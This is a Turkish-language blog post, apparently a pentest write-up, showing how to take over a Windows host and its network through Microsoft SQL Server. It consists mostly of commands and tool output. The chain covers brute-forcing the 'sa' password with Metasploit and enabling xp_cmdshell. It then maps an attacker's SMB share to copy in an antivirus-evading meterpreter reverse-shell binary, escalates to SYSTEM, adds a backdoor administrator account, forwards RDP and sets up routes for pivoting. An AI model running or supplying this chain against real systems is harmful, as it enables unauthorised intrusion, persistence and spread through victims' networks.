MSSQL Üzerinden (xp_cmdshell) İşletim Sistemini ve Networkü Ele Geçirme

GÜVENLIK - Ağustos 17, 2016

Pantest çalışmalarının amacı hedef sistemi en yüksek kullanıcı yetkileri ile ele geçirmek ve hedef sistem üzerinde ilerlemektir. Farkedilen en küçük zaafiyet bile, önemli bulgular elde etmeye yarayabilir. Bu yazıda da bir pantest çalışmasıyla kazanılan tecrübeler anlatılıyor.

Bu arada, sistemleri internete açık ve güvenlik anlamında politikalara sahip olmayan firmalardan, saldırganların ele geçirdikleri şirket içi özel verilerini rüşvet ve şantaj amacı ile kullandıkları ile ilgili haberler sık sık basında yer almakta.

Mssql Servisinin Belirlenmesi:
# sudo nmap -sT -sV 9.1.1.1 -p 1433 -PN

Starting Nmap 5.21 ( http://nmap.org ) at 2012-01-29 21:53 EET

Nmap scan report for 9.1.1.1.dynamic.ttnet.com.tr (9.1.1.1)
Host is up (0.027s latency).
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2008
Hedef sistemde Microsoft SQL Server 2008 servisi çalışmakta.

Mssql sunucularda en yetkili kullanıcı “sa” kullanıcısıdır. Bu hesap ile, mssql server en yüksek yetkiler ile yönetilebilir.

“sa” hesabına yönelik brute force denemesi

Hedef sistemde, Mssql 2008 çalışmakta ve “sa” kullanıcı hesabı ile kimlik doğrulama yapılabilmektedir.

Brute force ile parola deneme saldırısı:
#msfconsole

msf > use auxiliary/scanner/mssql/mssql_login

msf auxiliary(mssql_login) > set RHOSTS 9.1.1.1
RHOSTS => 9.1.1.1

msf auxiliary(mssql_login) > set USERPASS_FILE /home/ozanus/pass.lst
USERPASS_FILE => /home/ozanus/pass.lst

msf  auxiliary(mssql_login) > exploit

[*] 9.1.1.1:1433 MSSQL – [01/13] – Trying username:’sa’ with password:”
[-] 9.1.1.1:1433 MSSQL – [01/13] – failed to login as ‘sa’


[+] 9.1.1.1:1433 – MSSQL – successful login ‘sa’ : ‘benimgizliparolam‘,
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Parola deneme saldırılarına karşı bir güvenlik politikası yoksa, brute force saldırısı ile başarılı sonuç alınabilir, parola elde edilebilir.

Mssql’den bilgi toplama:

Mssql sunucusundan veritabanı tablo yapısı, konfigrasyon parametreleri, veritabanı kullanıcıları, mssql’e login olmuş kullanıcı hesapları ve mssql sunucunun çalıştığı işletim sistemindeki kullanıcı hesapları ve buna benzer bilgiler toplanabilir.
msf > use auxiliary/admin/mssql/mssql_enum
msf auxiliary(mssql_enum) > set RHOST 9.1.1.1
RHOST => 9.1.1.1
msf auxiliary(mssql_enum) > set PASSWORD benimgizliparolam
PASSWORD => benimgizliparolam
msf auxiliary(mssql_enum) > exploit

[+] [2012.01.25-15:00:50] Workspace:hedeffirma Progress:1/2 (50%) Probing 9.1.1.1
[*] [2012.01.25-15:00:50] Running MS SQL Server Enumeration…
[*] [2012.01.25-15:00:50] Version:
[*] Microsoft SQL Server 2008 R2 (SP1) – 10.50.2500.0 (X64)
[*] Jun 17 2011 00:54:03
[*] Copyright (c) Microsoft Corporation
[*] Standard Edition (64-bit) on Windows NT 6.0 <X64> (Build 6002: Service Pack 2)
[*] [2012.01.25-15:00:50] Configuration Parameters:
[*] [2012.01.25-15:00:50] C2 Audit Mode is Not Enabled
[*] [2012.01.25-15:00:50] xp_cmdshell is Enabled
[*] [2012.01.25-15:00:50] remote access is Enabled
[*] [2012.01.25-15:00:50] allow updates is Not Enabled
[*] [2012.01.25-15:00:50] Database Mail XPs is Not Enabled
[*] [2012.01.25-15:00:50] Ole Automation Procedures are Not Enabled
[*] [2012.01.25-15:00:50] Databases on the server:
[*] [2012.01.25-15:00:50] Database name:Bga1989
[*] [2012.01.25-15:00:50] Database Files for Bga1989:
[*] [2012.01.25-15:00:51] Z:\SQL\MSSQL\Data\Bga1989_Data.mdf
[*] [2012.01.25-15:00:51] Z:\SQL\MSSQL\Data\Bga1989_log.ldf
[*] [2012.01.25-15:00:51] Database name:XYZ_1989
[*] [2012.01.25-15:00:51] Database Files for XYZ_1989:
[*] [2012.01.25-15:00:51] Database name:XYZ_07
[*] [2012.01.25-15:00:51] Database Files for XYZ_07:
[*] [2012.01.25-15:00:51] Database name:XYZ_BGA
[*] [2012.01.25-15:00:51] Database Files for XYZ_BGA:
[*] [2012.01.25-15:00:51] Z:\XYZ_DB\abcVERILER\XYZ_BGA\XYZ_BGA.mdf
[*] [2012.01.25-15:00:51] Z:\XYZ_DB\abcVERILER\XYZ_BGA\XYZ_BGA.ldf
[*] [2012.01.25-15:00:55] System Logins on this Server:
[*] [2012.01.25-15:00:56] sa
[*] [2012.01.25-15:00:56] ##MS_SQLResourceSigningCertificate##
[*] [2012.01.25-15:00:56] ##MS_SQLReplicationSigningCertificate##
[*] [2012.01.25-15:00:56] ##MS_SQLAuthenticatorCertificate##
[*] [2012.01.25-15:00:56] ##MS_PolicySigningCertificate##
[*] [2012.01.25-15:00:56] ##MS_SmoExtendedSigningCertificate##
[*] [2012.01.25-15:00:56] ##MS_PolicyTsqlExecutionLogin##
[*] [2012.01.25-15:00:56] NT AUTHORITY\SYSTEM
[*] [2012.01.25-15:00:56] NT SERVICE\MSSQLSERVER
[*] [2012.01.25-15:00:56] HEDEFFIRMA\administrator
[*] [2012.01.25-15:00:56] NT SERVICE\SQLSERVERAGENT
[*] [2012.01.25-15:00:56]
[*] [2012.01.25-15:00:56] ##MS_PolicyEventProcessingLogin##
[*] [2012.01.25-15:00:56] ##MS_AgentSigningCertificate##
[*] [2012.01.25-15:00:56] Disabled Accounts:
[*] [2012.01.25-15:00:56] ##MS_PolicyTsqlExecutionLogin##
[*] [2012.01.25-15:00:56] ##MS_PolicyEventProcessingLogin##
[*] [2012.01.25-15:00:56] No Accounts Policy is set for:
[*] [2012.01.25-15:00:56] sa
[*] [2012.01.25-15:00:56] Password Expiration is not checked for:
[*] [2012.01.25-15:00:56] sa
[*] [2012.01.25-15:00:56] ##MS_PolicyTsqlExecutionLogin##
[*] [2012.01.25-15:00:56] ##MS_PolicyEventProcessingLogin##
[*] [2012.01.25-15:00:56] System Admin Logins on this Server:
[*] [2012.01.25-15:00:56] sa
[*] [2012.01.25-15:00:56] NT AUTHORITY\SYSTEM
[*] [2012.01.25-15:00:56] NT SERVICE\MSSQLSERVER
[*] [2012.01.25-15:00:56] HEDEFFIRMA\administrator
[*] [2012.01.25-15:00:56] NT SERVICE\SQLSERVERAGENT
[*] [2012.01.25-15:00:56] Windows Logins on this Server:
[*] [2012.01.25-15:00:56] NT AUTHORITY\SYSTEM
[*] [2012.01.25-15:00:56] HEDEFFIRMA\administrator
[*] [2012.01.25-15:00:56] Windows Groups that can logins on this Server:
[*] [2012.01.25-15:00:56] NT SERVICE\MSSQLSERVER
[*] [2012.01.25-15:00:56] NT SERVICE\SQLSERVERAGENT
[*] [2012.01.25-15:00:56] Accounts with Username and Password being the same:
[*] [2012.01.25-15:00:56] No Account with its password being the same as its username was found.
[*] [2012.01.25-15:00:56] Accounts with empty password:
[*] [2012.01.25-15:00:56] No Accounts with empty passwords where found.
[*] [2012.01.25-15:01:02] Stored Procedures with Public Execute Permission found:
[*] [2012.01.25-15:01:02] sp_replsetsyncstatus
[*] [2012.01.25-15:01:02] sp_replcounters
[*] [2012.01.25-15:01:02] sp_replsendtoqueue
[*] [2012.01.25-15:01:02] sp_resyncexecutesql
[*] [2012.01.25-15:01:02] sp_prepexecrpc
[*] [2012.01.25-15:01:02] sp_repltrans
[*] [2012.01.25-15:01:02] sp_xml_preparedocument
[*] [2012.01.25-15:01:02] xp_qv
[*] [2012.01.25-15:01:02] xp_getnetname
[*] [2012.01.25-15:01:02] sp_releaseschemalock
[*] [2012.01.25-15:01:02] sp_refreshview
[*] [2012.01.25-15:01:02] sp_replcmds
[*] [2012.01.25-15:01:02] sp_unprepare
[*] [2012.01.25-15:01:02] sp_resyncprepare
[*] [2012.01.25-15:01:02] sp_createorphan
[*] [2012.01.25-15:01:02] xp_dirtree
[*] [2012.01.25-15:01:02] sp_replwritetovarbin
[*] [2012.01.25-15:01:02] sp_replsetoriginator
[*] [2012.01.25-15:01:02] sp_xml_removedocument
[*] [2012.01.25-15:01:02] sp_repldone
[*] [2012.01.25-15:01:02] sp_reset_connection
[*] [2012.01.25-15:01:02] xp_fileexist
[*] [2012.01.25-15:01:02] xp_fixeddrives
[*] [2012.01.25-15:01:02] sp_getschemalock
[*] [2012.01.25-15:01:02] sp_prepexec
[*] [2012.01.25-15:01:02] xp_revokelogin
[*] [2012.01.25-15:01:02] sp_resyncuniquetable
[*] [2012.01.25-15:01:02] sp_replflush
[*] [2012.01.25-15:01:02] sp_resyncexecute
[*] [2012.01.25-15:01:02] xp_grantlogin
[*] [2012.01.25-15:01:02] sp_droporphans
[*] [2012.01.25-15:01:02] xp_regread
[*] [2012.01.25-15:01:02] sp_getbindtoken
[*] [2012.01.25-15:01:02] sp_replincrementlsn
[*] [2012.01.25-15:01:02] Instances found on this server:
[*] [2012.01.25-15:01:02] MSSQLSERVER
[*] [2012.01.25-15:01:03] Default Server Instance SQL Server Service is running under the privilege of:
[*] [2012.01.25-15:01:03] HEDEFFIRMA\administrator
[+] [2012.01.25-15:01:03] Workspace:hedeffirma Progress:2/2 (100%) Complete (0 sessions opened) auxiliary/admin/mssql/mssql_enum

Mssql xp_cmdshell ve aktif edilmesi:

xp_cmdshell, işletim sisteminde komut çalıştırmak için kullanılan bir özelliktir. Kontrolünü ele geçirdiğimiz mssql server, Windows 2008 sunucu üzerinde Administrator yetkileri ile çalışmaktadır. Yetenekli ajanımız “meterpreter” payload’ını karşı tarafa yükleyip çalıştırmayı başardığımız taktirde işletim sistemini ele geçirebiliriz. Bu işletim sistemi üzerinden firmanın yerel ağına ve dmz bölgesindeki bütün bilgisayarlara saldırı yapabiliriz.

Hedef sistemde komut çalıştırmak için mssql xp_cmdshell özelliğini aktif ediyoruz. Bu işlem için, mssql 2008 manager kullanarak hedef sisteme bağlanıp aşağıdaki sorguları çalıştırmak yetiyor;
EXEC sp_configure ‘show advanced options’, 1
GO
RECONFIGURE
GO
EXEC sp_configure ‘xp_cmdshell’, 1
GO
RECONFIGURE
GO

xp_cmdshell ile komut çalıştırmak:

Bu işlem için metasploit “mssql_exec” yardımcı aracını kullanabiliriz. Peki, hedef sistemde cmd.exe ile ne yapabiliriz ve cmd.exe ile uzak sistemden dosya çekip nasıl çalıştırabiliriz?

Bunun için birden fazla “post explotion” tekniği mevcuttur. Hedef sistemde sahip olduğumuz kullanıcı yetkileri, hedef işletim sisteminde kurulu yazılımlar ve işletim sisteminin internet’e erişim kurabileceği portlara göre farklı teknikler geliştirilmiştir. Bu işlem için pratik olarak kullanılak teknik ise, kendi windows sisteminizin paylaşımına bağlanıp buradan meterpreter ajanını işletim sistemine kopyalamaktır.
# msfconsole

use auxiliary/admin/mssql/mssql_exec
msf  auxiliary(mssql_exec) > set CMD ‘cmd.exe /c net use o: /USER:Administrator \\88.1.1.188\c$ parola’
CMD => cmd.exe /c net use o: /USER:Administrator \\88.1.1.188\c$ parola
msf  auxiliary(mssql_exec) > exploit
Eğer komut çalıştıysa, diski map edebilmiş miyiz kontrol edelim:
msf auxiliary(mssql_exec) > set CMD ‘cmd.exe /c net use’
CMD => cmd.exe /c net use
msf auxiliary(mssql_exec) > exploit
[*] SQL Query: EXEC master..xp_cmdshell ‘cmd.exe /c net use’

output

————————————————————————————-

New connections will be remembered.
OK O: \\88.1.1.188\c$ Microsoft Windows Network
Status Local Remote Network
The command completed successfully.
Unavailable R: \\1.1.0.198\dosyasunucu Microsoft Windows Network
Unavailable Z: \\1.1.0.202\d$ Microsoft Windows Network
Evet, diski O:\ sürücü adı olarak hedef sisteme map ettik. Şimdi buradaki casus yazılımı sisteme kopyalayıp çalıştıralım. Bu çalışmada, hedef sistemde Endpoint Security yazılımı çalışmaktadır. Meterpeter antivirüs ve content filter sistemlere karşı encode edilerek tamamen tanınma hale getirilmiştir.
msf auxiliary(mssql_exec) > set CMD ‘cmd.exe /c copy o:\80.exe C:\80.exe’
CMD => cmd.exe /c copy o:\80.exe C:\80.exe
msf auxiliary(mssql_exec) > exploit

[*] SQL Query: EXEC master..xp_cmdshell ‘cmd.exe /c copy o:\80.exe C:\80.exe’

output
——

1 file(s) copied.

[*] Auxiliary module execution completed
Listeleyelim, 80.exe ismi ile dosyamız hedef sistemde mi ?
msf auxiliary(mssql_exec) > set CMD ‘cmd.exe /c dir C:\80.exe’
msf auxiliary(mssql_exec) > exploit

[*] SQL Query: EXEC master..xp_cmdshell ‘cmd.exe /c dir C:\80.exe’

output

——

0 Dir(s) 35,842,772,992 bytes free

1 File(s) 112,399 bytes
Directory of C:\
Volume Serial Number is
Volume in drive C has no label.
25.01.2012 20:21 112,399 80.exe

[*] Auxiliary module execution completed
Evet, dosyamız hedef sunucuya kopyalanmış. 80.exe çalıştırdığımızda  meterpreter reverse connection kurarak sistemi emrimize sunacaktır.

Post Exploition Teknikleri

Meterpreter ile erişim elde ettikden sonra yapacaklarınızın pek sınırı yok, yetkili bir kullanıcı haklarına sahip değilsek local privilege escalation tekniklerini kullanarak yetki yükseltebiliriz.
meterpreter > getsystem
…got system (via technique 1)

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
1. teknikde başarılı oldu ve artık SYSTEM yetkiler ile hedef sistemde çalışabiliriz.

Bu aşamadan sonra, sisteme admin haklarına sahip bir kullanıcı ekleyip uzak masaüstü ile bağlantı kurmak

Windows komut satırına geçiş ve kullanıcı hesabı eklemek.
meterpreter > shell
Process 6364 created.
Channel 1 created.
Microsoft Windows [Version 6.0.6002]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.

C:\Windows\system32>net user bga P!ssw0rd /add
net user bga P!ssw0rd /add
The command completed successfully.
C:\Windows\system32>net localgroup Administrators bga /add
net localgroup Administrators bga /add
The command completed successfully.
Port forwarding ile uzak masaüstü erişimi kurmak
Meterpreter’in portfwd özelliği ile, kendi sisteminizdeki bir portu kurban sisteme bind edebilirsiniz.Aşağıdaki örnekde, saldırı yapan 88.1.1.188 ip adresinin  3389 portuna gelen istekler, hedef sistemin 3389 portuna yönlendirilmiştir.
meterpreter > portfwd add -l 3389 -p 3389 -r 1.1.1.111
[*] Local TCP relay created: 0.0.0.0:3389 <-> 1.1.1.111:3389

Bağlantı için,
# rdesktop 88.1.1.188 -k tr -u bga
Uzak sistemin bulunduğu network’deki diğer ip adreslerine erişmek için meterpreter’in route özelliği kullanılabilir. Metasploit hedef sistemi kullanarak diğer sunuculara erişim kurabilir.
meterpreter > route add 1.1.1.0 255.255.255.0 3
Bu aşamadan sonra, metasploit auxiliary ve exploit’lerini uzak sisteme uygulayabilirsiniz.

 

Subscribe
Bildir
guest

0 Yorum
Inline Feedbacks
View all comments
0
Would love your thoughts, please comment.x